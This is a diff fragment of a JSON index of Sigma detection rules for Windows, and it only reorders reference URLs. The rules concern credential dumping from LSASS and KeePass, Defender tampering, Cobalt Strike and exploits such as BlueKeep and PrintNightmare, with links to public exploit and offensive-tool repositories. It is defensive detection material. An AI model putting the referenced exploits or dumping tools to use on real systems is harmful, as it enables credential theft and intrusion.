"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_sysmon_channel_reference_deletion.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_sysmon_channel_reference_deletion.yml", + "https://twitter.com/SecurityJosh/status/1283027365770276866", + "https://twitter.com/Flangvik/status/1283054508084473861", + "https://securityjosh.github.io/2020/04/23/Mute-Sysmon.html" ], "tags": [ "attack.defense_evasion", @@ -18084,9 +18082,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_teams_suspicious_objectaccess.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_teams_suspicious_objectaccess.yml", + "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/" ], "tags": [ "attack.credential_access", @@ -18160,8 +18158,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_couldnt_call_priv_service_lsaregisterlogonprocess.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_couldnt_call_priv_service_lsaregisterlogonprocess.yml", + "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1" ], "tags": [ "attack.lateral_movement", @@ -18308,8 +18306,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/mattifestation/status/899646620148539397", "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", + "https://twitter.com/mattifestation/status/899646620148539397", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_wmi_persistence.yml" ], "tags": [ @@ -18334,8 +18332,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security_mitigations/win_security_mitigations_defender_load_unsigned_dll.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security_mitigations/win_security_mitigations_defender_load_unsigned_dll.yml", + "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool" ], "tags": [ "attack.defense_evasion", @@ -18358,8 +18356,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/nasbench/EVTX-ETW-Resources/blob/45fd5be71a51aa518b1b36d4e1f36af498084e27/ETWEventsList/CSV/Windows11/21H2/W11_21H2_Pro_20220719_22000.795/Providers/Microsoft-Windows-Security-Mitigations.csv", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security_mitigations/win_security_mitigations_unsigned_dll_from_susp_location.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security_mitigations/win_security_mitigations_unsigned_dll_from_susp_location.yml", + "https://github.com/nasbench/EVTX-ETW-Resources/blob/45fd5be71a51aa518b1b36d4e1f36af498084e27/ETWEventsList/CSV/Windows11/21H2/W11_21H2_Pro_20220719_22000.795/Providers/Microsoft-Windows-Security-Mitigations.csv" ], "tags": [ "attack.defense_evasion", @@ -18406,8 +18404,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://nasbench.medium.com/finding-forensic-goodness-in-obscure-windows-event-logs-60e978ea45a3", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/shell_core/win_shell_core_susp_packages_installed.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/shell_core/win_shell_core_susp_packages_installed.yml", + "https://nasbench.medium.com/finding-forensic-goodness-in-obscure-windows-event-logs-60e978ea45a3" ], "tags": [ "attack.execution" @@ -18429,10 +18427,10 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/KevTheHermit/status/1410203844064301056", - "https://github.com/hhlxf/PrintNightmare", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/smbclient/win_susp_failed_guest_logon.yml", "https://github.com/afwu/PrintNightmare", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/smbclient/win_susp_failed_guest_logon.yml" + "https://github.com/hhlxf/PrintNightmare", + "https://twitter.com/KevTheHermit/status/1410203844064301056" ], "tags": [ "attack.credential_access", @@ -18457,8 +18455,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/moti_b/status/1032645458634653697", - "https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Cyber-Security/SiSyPHuS/AP10/Logging_Configuration_Guideline.pdf?__blob=publicationFile&v=5", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/smbclient/win_susp_failed_hidden_share_mount.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/smbclient/win_susp_failed_hidden_share_mount.yml", + "https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Cyber-Security/SiSyPHuS/AP10/Logging_Configuration_Guideline.pdf?__blob=publicationFile&v=5" ], "tags": [ "attack.t1021.002", @@ -18481,8 +18479,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_anydesk_service_installation.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_anydesk_service_installation.yml", + "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/" ], "tags": [ "attack.persistence" @@ -18552,8 +18550,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_apt_chafer_mar18_system.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_apt_chafer_mar18_system.yml", + "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/" ], "tags": [ "attack.persistence", @@ -18583,8 +18581,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_apt_stonedrill.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_apt_stonedrill.yml", + "https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/" ], "tags": [ "attack.persistence", @@ -18633,10 +18631,10 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.sans.org/webcasts/119395", - "https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/", "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_cobaltstrike_service_installs.yml" + "https://www.sans.org/webcasts/119395", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_cobaltstrike_service_installs.yml", + "https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/" ], "tags": [ "attack.execution", @@ -18664,9 +18662,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_defender_disabled.yml", "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/troubleshoot-windows-defender-antivirus", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_defender_disabled.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md" ], "tags": [ "attack.defense_evasion", @@ -18690,9 +18688,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/deviouspolack/status/832535435960209408", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_eventlog_cleared.yml", "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_eventlog_cleared.yml" + "https://twitter.com/deviouspolack/status/832535435960209408" ], "tags": [ "attack.defense_evasion", @@ -18742,8 +18740,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_clip_services.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_clip_services.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -18768,8 +18766,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_obfuscated_iex_services.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_obfuscated_iex_services.yml", + "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888" ], "tags": [ "attack.defense_evasion", @@ -18792,8 +18790,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_stdin_services.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_stdin_services.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -18818,8 +18816,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_var_services.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_var_services.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -18844,8 +18842,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_compress_services.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_compress_services.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -18870,8 +18868,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_rundll_services.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_rundll_services.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -18896,8 +18894,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_stdin_services.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_stdin_services.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -18922,8 +18920,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_use_clip_services.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_use_clip_services.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -18948,8 +18946,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_use_mshta_services.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_use_mshta_services.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -18974,8 +18972,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_use_rundll32_services.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_use_rundll32_services.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -19000,8 +18998,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_var_services.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_invoke_obfuscation_via_var_services.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -19049,8 +19047,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/Dec0ne/KrbRelayUp", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_krbrelayup_service_installation.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_krbrelayup_service_installation.yml", + "https://github.com/Dec0ne/KrbRelayUp" ], "tags": [ "attack.privilege_escalation", @@ -19204,10 +19202,10 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/jonasLyk/status/1347900440000811010", "https://twitter.com/wdormann/status/1347958161609809921", - "https://www.bleepingcomputer.com/news/security/windows-10-bug-corrupts-your-hard-drive-on-seeing-this-files-icon/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_ntfs_vuln_exploit.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_ntfs_vuln_exploit.yml", + "https://twitter.com/jonasLyk/status/1347900440000811010", + "https://www.bleepingcomputer.com/news/security/windows-10-bug-corrupts-your-hard-drive-on-seeing-this-files-icon/" ], "tags": [ "attack.impact", @@ -19351,9 +19349,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/zerosum0x0/CVE-2019-0708", "https://github.com/Ekultek/BlueKeep", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_rdp_potential_cve_2019_0708.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_rdp_potential_cve_2019_0708.yml", + "https://github.com/zerosum0x0/CVE-2019-0708" ], "tags": [ "attack.lateral_movement", @@ -19377,8 +19375,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_hacktools.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_hacktools.yml", + "Internal Research" ], "tags": [ "attack.execution", @@ -19425,8 +19423,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.poweradmin.com/paexec/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_paexec.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_paexec.yml", + "https://www.poweradmin.com/paexec/" ], "tags": [ "attack.execution", @@ -19523,8 +19521,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.remoteutilities.com/support/kb/host-service-won-t-start/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_remote_utilities.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_remote_utilities.yml", + "https://www.remoteutilities.com/support/kb/host-service-won-t-start/" ], "tags": [ "attack.persistence" @@ -19546,9 +19544,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_sliver.yml", "https://github.com/BishopFox/sliver/blob/79f2d48fcdfc2bee4713b78d431ea4b27f733f30/client/command/commands.go#L1231", - "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_sliver.yml" + "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/" ], "tags": [ "attack.execution", @@ -19573,8 +19571,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_susp_double_ampersand.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_service_install_susp_double_ampersand.yml", + "Internal Research" ], "tags": [ "attack.defense_evasion", @@ -19597,10 +19595,10 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html", - "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_dhcp_config.yml", "https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_dhcp_config.yml" + "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html", + "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx" ], "tags": [ "attack.defense_evasion", @@ -19623,10 +19621,10 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html", - "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx", "https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_dhcp_config_failed.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_dhcp_config_failed.yml", + "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html", + "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx" ], "tags": [ "attack.defense_evasion", @@ -19650,9 +19648,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/deviouspolack/status/832535435960209408", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_eventlog_cleared.yml", "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_eventlog_cleared.yml" + "https://twitter.com/deviouspolack/status/832535435960209408" ], "tags": [ "attack.defense_evasion", @@ -19676,8 +19674,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/1kwpeter/status/1397816101455765504", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_proceshacker.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_proceshacker.yml", + "https://twitter.com/1kwpeter/status/1397816101455765504" ], "tags": [ "attack.execution", @@ -19702,8 +19700,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/br-sn/CheekyBlinder/blob/e1764a8a0e7cda8a3716aefa35799f560686e01c/CheekyBlinder/CheekyBlinder.cpp", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_rtcore64_service_install.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_rtcore64_service_install.yml", + "https://github.com/br-sn/CheekyBlinder/blob/e1764a8a0e7cda8a3716aefa35799f560686e01c/CheekyBlinder/CheekyBlinder.cpp" ], "tags": [ "attack.persistence" @@ -20064,8 +20062,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard?WT.mc_id=twitter", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_alert_lsass_access.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_alert_lsass_access.yml", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard?WT.mc_id=twitter" ], "tags": [ "attack.credential_access", @@ -20137,8 +20135,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/_nullbind/status/1204923340810543109", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_exclusions.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_exclusions.yml", + "https://twitter.com/_nullbind/status/1204923340810543109" ], "tags": [ "attack.defense_evasion", @@ -20161,8 +20159,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_exploit_guard_tamper.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_exploit_guard_tamper.yml", + "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088" ], "tags": [ "attack.execution", @@ -20185,8 +20183,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/troubleshoot-microsoft-defender-antivirus", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_history_delete.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_history_delete.yml", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/troubleshoot-microsoft-defender-antivirus" ], "tags": [ "attack.defense_evasion", @@ -20236,8 +20234,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://bhabeshraj.com/post/tampering-with-microsoft-defenders-tamper-protection", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_tamper_protection_trigger.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_tamper_protection_trigger.yml", + "https://bhabeshraj.com/post/tampering-with-microsoft-defenders-tamper-protection" ], "tags": [ "attack.defense_evasion", @@ -20284,8 +20282,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/mattifestation/status/899646620148539397", "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", + "https://twitter.com/mattifestation/status/899646620148539397", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/wmi/win_wmi_persistence.yml" ], "tags": [ @@ -20337,8 +20335,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/SBousseaden/status/1090588499517079552", - "https://github.com/mdsecactivebreach/CACTUSTORCH", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_cactustorch.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_cactustorch.yml", + "https://github.com/mdsecactivebreach/CACTUSTORCH" ], "tags": [ "attack.defense_evasion", @@ -20365,9 +20363,9 @@ "logsource.category": "create_remote_thread", "logsource.product": "windows", "refs": [ - "https://medium.com/@olafhartong/cobalt-strike-remote-threads-detection-206372d11d0f", "https://blog.cobaltstrike.com/2018/04/09/cobalt-strike-3-11-the-snake-that-eats-its-tail/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_cobaltstrike_process_injection.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_cobaltstrike_process_injection.yml", + "https://medium.com/@olafhartong/cobalt-strike-remote-threads-detection-206372d11d0f" ], "tags": [ "attack.defense_evasion", @@ -20390,8 +20388,8 @@ "logsource.category": "create_remote_thread", "logsource.product": "windows", "refs": [ - "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-180719170510.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_loadlibrary.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_loadlibrary.yml", + "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-180719170510.html" ], "tags": [ "attack.defense_evasion", @@ -20414,10 +20412,10 @@ "logsource.category": "create_remote_thread", "logsource.product": "windows", "refs": [ - "https://www.cisa.gov/uscert/ncas/alerts/aa20-259a", - "https://github.com/denandz/KeeFarce", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_password_dumper_keepass.yml", "https://github.com/GhostPack/KeeThief", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_password_dumper_keepass.yml" + "https://www.cisa.gov/uscert/ncas/alerts/aa20-259a", + "https://github.com/denandz/KeeFarce" ], "tags": [ "attack.credential_access", @@ -20440,8 +20438,8 @@ "logsource.category": "create_remote_thread", "logsource.product": "windows", "refs": [ - "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/WCE.htm", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_password_dumper_lsass.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_password_dumper_lsass.yml", + "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/WCE.htm" ], "tags": [ "attack.credential_access", @@ -20515,9 +20513,9 @@ "logsource.category": "create_remote_thread", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_remote_thread_source.yml", "Personal research, statistical analysis", - "https://lolbas-project.github.io", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_remote_thread_source.yml" + "https://lolbas-project.github.io" ], "tags": [ "attack.privilege_escalation", @@ -20541,8 +20539,8 @@ "logsource.category": "create_remote_thread", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_remote_thread_target.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_remote_thread_target.yml", + "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/" ], "tags": "No established tags" }, @@ -20637,8 +20635,8 @@ "logsource.category": "create_stream_hash", "logsource.product": "windows", "refs": [ - "https://www.bleepingcomputer.com/news/security/exploited-windows-zero-day-lets-javascript-files-bypass-security-warnings/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_creation_internet_file.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_creation_internet_file.yml", + "https://www.bleepingcomputer.com/news/security/exploited-windows-zero-day-lets-javascript-files-bypass-security-warnings/" ], "tags": [ "attack.defense_evasion" @@ -20760,8 +20758,8 @@ "logsource.category": "create_stream_hash", "logsource.product": "windows", "refs": [ - "https://github.com/trustedsec/SysmonCommunityGuide/blob/adcdfee20999f422b974c8d4149bf4c361237db7/chapters/file-stream-creation-hash.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_susp_ip_domains.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_susp_ip_domains.yml", + 